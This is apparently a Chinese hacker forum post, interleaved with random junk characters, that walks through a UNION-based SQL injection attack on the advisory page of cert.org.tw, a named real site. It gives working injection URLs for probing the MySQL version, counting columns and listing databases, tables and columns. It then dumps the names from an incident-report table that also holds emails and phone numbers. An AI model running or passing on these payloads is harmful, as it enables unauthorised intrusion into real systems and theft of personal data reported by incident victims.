1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询 `8 c! ^3 k1 F Y6 B |
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
) A+ X0 X3 v+ r% C5 b( ghttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
# k% R1 B* x. j1 a! j9 C7 b3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
+ c" ]- l! {5 _& {9 J, K数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。+ K4 o0 L5 m( L$ w# O$ `
4.判断有没有写权限
! M5 I% p6 h W* r" jhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
# \7 o0 }8 q* m1 j9 ~4 z% y; o% S+ Z没办法,手动猜表啦# {3 j% e, [. J2 t
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
0 o3 k" F A3 f但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下4 G& M* l0 [5 E! ~( U( C
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
5 S& c2 M: ~: f2 g" h成功查出所有数据库,国外的黑客就是不一般。数据库如下:
n3 n5 ~( |' }4 u; L) finformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
& I8 N z8 R- J U8 g6.爆表,爆的是twcert库+ A6 e' f' [0 L/ @2 F
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--! g# \7 w2 e0 G+ w, C0 Y$ l3 g
爆出如下表
( ^3 }1 @5 g# Gdownloadfile,irsys,newsdata,secrpt,secrpt_big5
; d) A- K7 k% F) Q, z+ S7.爆列名,这次爆的是irsys表3 U1 Q" E6 X9 H1 ]
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--- ]+ y2 G+ q: [0 ^# t/ Q& A
爆出如下列7 j! ~+ {0 X; I! p, c
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
% ~% ~, j+ |# D# P/ n8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
& y4 q" E2 h5 x( uhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--5 a& \$ d" |* {; `* e. x
返回是3,说明每个列里有3个地段3 [% H, d' V! Q1 ?
9.爆字段内容
+ ^3 s( H2 `+ B7 c$ \http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
0 m6 J7 h. E3 c9 W. G爆出name列的第一个字段的内容% ^$ e$ R* k; l5 n, L
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--; y, r2 `0 C n% h, U+ Y" n* C& u
爆出name列的第二个字段的内容 |